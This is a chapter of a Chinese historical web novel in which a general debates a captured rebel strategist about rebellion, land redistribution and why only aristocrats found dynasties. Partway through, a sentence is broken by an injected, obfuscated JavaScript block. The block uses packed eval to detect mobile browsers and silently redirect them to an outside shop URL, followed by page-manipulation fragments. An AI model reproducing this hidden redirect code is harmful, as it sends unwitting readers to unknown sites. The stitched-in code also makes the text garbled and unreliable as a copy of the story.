次日,石将军骑着快马踏入靖安城门,一路疾驰至县衙,他翻身下马,直奔许宽的公房。
“许先生!”石将军推门而入,洪亮的声音震得窗纸都微微发颤,“快与我说说,那苏遇是如何怎么被擒的?”
许宽正批注公文,见他风尘仆仆的模样,笑着起身:“石将军一路辛苦,先喝口茶润润喉。”
石将军接过茶盏一饮而尽,又追问起来。
许宽便将苏遇请来劝说他,并与他在公房里争执的过程,一五一十的说了一遍。
“什么,他竟是先生的学生?”石将军听得连连称奇,“竟有此等缘分!”
“非是许某座下亲传,”许宽笑着摆手,“当年许某曾在三梅学院担任教书夫子,他是学院学生,许某不过教导过他一段时日罢了。”
石将军恍然大悟,随即哈哈一笑:“这么说,先生还是与我家铁柱更亲近些!”
言语中甚是得意。
说笑两句,石将军神色一正,又问:“许先生,苏遇游说你时,可曾许你高官厚禄?”
许宽神色坚定:“并未,许某也绝不会接受。”
石将军摸了摸下巴,眼中满是疑惑:“奇了,他就只以苍生大义来压你,试图用那些‘救万民于水火’的说法来收服你?”
“因他知晓许某只讲正道大义,不谈高官厚?。”许宽语气平静,神色坦然。
石将军听完,重重一拍大腿:“好个狡猾的东西!这是摸准了你的脉门啊!”
许宽摇头轻叹:“他也是被执念困住了。错把叛乱当正道,错把野心当大义,可惜了一身才华。”
石将军站起身,目光锐利起来:“可惜归可惜,但他叛军谋士的身份可改不了,且让本将军去会会他!”
昏暗的大牢里,潮湿的空气混杂着霉味与酸臭,还有几只老鼠窸窣窜过。
石将军站在牢门外,居高临下地俯视着靠墙而坐的苏遇,姿态颇有些倨傲。
苏遇闭目养神,对牢门外那道锐利的目光视而不见,连眼皮都未曾抬一下,仿佛眼前根本没人。
这般无视,反倒激起了石将军的火气,他本想先压一压对方的气焰,此刻却先沉不住气,重重一哼:“苏遇,你可知罪?”
苏遇这才缓缓抬眼,目光平静得像一潭深水,扫过石将军那张怒容满面的脸,淡淡吐出四个字:“不知,不认。”
“大胆!”石将军猛地踹了一脚牢门,铁锁发出刺耳的哐当声,“李玄谋逆,你是从逆,劫掠州县,残害百姓,桩桩件件都是死罪!到了此刻竟还敢嘴硬!”
苏遇神色淡然:“反死,不反也死。”
石将军一愣,随即怒极反笑:“好一个‘反死不反也死’!照你这么说,天下百姓都该跟着李玄造反不成?”
“百姓不想反。”苏遇眼中闪过一丝嘲讽,“可是朝廷给他们活路了吗?苛税比山重,贪官如狼虎,青州先是大疫,后是大旱,朝廷的赈灾粮在哪里?石将军,你告诉我,百姓是不是应该老实认命,坦然赴死?”
石将军盯着苏遇,眉头紧锁。
他并非那种闭目塞听的迂腐之辈,常年驻守边境,又与青州接壤,对那里的龌龊事早有耳闻。
那些官员捂着疫情不报,任由疫病在乡野蔓延;遇上大旱,不想着赈灾,反倒先想着瞒报灾情,生怕影响了自己的仕途。
这些腌臜事,他在逃荒百姓的哭诉里,听得太多了。
“青州那些官是该死,死有余辜,我也瞧不上他们。李玄把他们杀了,是为民除害,可后来为什么要划地而分,竖起反旗?他占了青州还不罢休,还要来攻打成州,这还是为民除害吗?这分明就是狼子野心!”
苏遇看着石将军的目光里带着一丝讶异,似乎没想到他会认可李玄杀官的举动。
他沉默片刻,缓缓开口:“最大的害,在京城里,在皇宫里,是那个受天下万民供养,却视万民如草芥的昏庸皇帝。他不死,民难活!”
“你……”石将军指着苏遇,没想到他竟敢如此口出狂言,一时竟说不出话来。
乱世已近百年,多国并立,王朝更迭如走马灯般繁乱,石将军绝不是死守“忠君爱国”四字的死脑筋,他心里清楚,天底下的野心家多如牛毛,没了李玄,也会有王玄、赵玄。
但造反真能成气候的,百中无一,这近百年来,哪一个开国皇帝不是高门贵种?普通草民,要人没人,要地没地,要钱没钱,要粮没粮,什么都没有,如何立国?
看着苏遇年轻的脸庞,石将军终是心软,劝说:“你真当造反是那么容易的事?靠着鼓动流民,就能打下江山?民是民,军是军!流民再多,没有军纪,没有粮草,终究是一团散沙。”
“更何况李玄是怎么做的?他不过是驱赶着饥民去攻占别的州府,去抢夺别的城池的粮食!只抢粮,不种粮,只破城,不治理,这叫什么为君之道?分明是流寇行径!”
苏遇眼中闪过一丝怒意,脱口反驳:“将军怎知我们没有章法?青州境内,我们减免赋税,分田到户……”
“真的分田到户了吗?分了多少田?立了多少户?”石将军冷笑一声,打断了他的话,“都分了田,为何还有青州的流民跑到成州来求活?”
这一句质问让苏遇的所有辩解都堵在了喉咙里。
“他们是不想要吗?他们是要不到!”石将军冷笑连连,“你们杀了贪官,杀了那些为恶乡里的地主老财,夺了他们的钱,分了他们的田,然后呢?分田最多的是功臣,是李家亲族,还有你,你们苏家又拿了多少?”
苏遇讷讷无言。
苏家确实因他效力李玄而得了庇护,免受流民兵匪之乱,也分了田、得了财,如今被石将军这般直白地嘲讽,他只觉得脸上一阵发烫。
“你们拿多了,分到百姓手里的就少了,少到不足以让李玄达成他的承诺——人人有田耕!”烛火摇曳,将石将军的脸映得明暗交错。
“于是李玄只能朝外扩张,他要更多的田,更多的粮,和更多的人,战果越多,贪欲越深,直至把全天下都拉进来。”
“可是苏遇啊,李玄这样的分田法,就算把全天下的田都交给他来分,他真的能做到‘人人有田耕’吗?”
苏遇沉默无语。
石将军继续说:“李玄出生乡野,家中虽有良田数顷,却非他亲手得来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010638|193964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而是承继祖业,故而他不懂开创之苦。加之他不事稼穑,因此也不懂农作之苦。吾听闻,他以往常常呼朋引伴、斗鸡走狗、醉酒逞凶,虽说有一两事可见侠义之风,可是这样的人,他懂得治理地方?懂得治理天下吗?”
“治理地方,要懂农桑、算赋税、断刑罚、安抚民心;治理天下,更要明法度、任贤能,要能权衡利弊、深谋远虑。”
“李玄连自家那几顷良田都懒得打理,全靠佃户耕种,这样的人,你指望他能懂得如何让天下百姓安居乐业?怕是得了天下,也不过是把皇宫当成更大的酒肆,把文臣武将当成他呼来喝去的酒友罢了!”
苏遇的手指深深抠进草堆里,面上一片火辣辣。
李玄确实好酒,确实不擅农事,在治理青州政务时,也常因意气用事闹出些乱子,全靠他们这些谋士在后面弥补。
只是他总想着,“成大事者不拘小节”,只要李玄能推翻旧朝,只要他能知人善任,君臣同心,这些小毛病都不是问题。
可是被石将军这般层层剖析,那些“小毛病”竟显得如此刺眼。一个连农作之苦、开创之难都不懂的人,又怎能指望他体恤万民、开创盛世?
“苏遇,你有没有想过,近百年间立国者,无一是寒门出身,更不要说平民出身,他们个个都是高门贵种,是何缘故?”
石将军的声音不高,却像一道炸雷在苏遇耳边轰然炸响,震得他耳朵嗡嗡作响。
他猛地抬头,难以置信地看向牢门外的身影,仿佛第一次认识眼前这位将军——这个守卫靖安、荆林、平丘三城,在朝廷里排不上号的杂号将军。
这个粗野武夫竟然也能想到这个?
是啊,他说的对,近百年乱世,多国并立,以此攻伐,改朝换代如同走马灯,可细数那些开国君主,哪一个不是出身世家大族?
有的是累世为官,有的是三朝将门,最差的也是坐拥万亩良田尚了公主的地方豪族。
平民出身者,最多只能做个冲锋陷阵的将领,或是出谋划策的谋士,从未有人能真正登上那个至尊之位。
这究竟是为何?
苏遇的嘴唇翕动着,似是不能答,心里却很清楚。
因为名望,因为兵马,因为粮草。
三者齐全,才可称为一方势力。
可是他不想相信,他更不甘心!
百年前的亡国之帝早已化作一抔黄土,延续两百多年的社稷已然断绝。
更早些的圣王血裔、分封诸侯,他们建立的国家更是早就灰飞烟灭,连后人都在史书中销声匿迹。
古老的贵族断了根,前朝的血脉绝了嗣,一次又一次的征伐吞并,把那些后来兴起的贵族也消磨了大半,几百年的时光,天命转了又转,总该轮到寒门和平民了吧!
这些话藏在苏遇的心里,藏得深深的,在被堂弟的舞弊案牵连之前,他读着史书,心中便有了这个念头。
断了功名之路后,回到家乡,亲眼看到青州百姓的困苦之后,这个念头就更是深深的扎在他的心中。
高高在上的高门贵种看不到底下百姓的痛苦,只有出身民间的英豪才会改变这个不公的世道!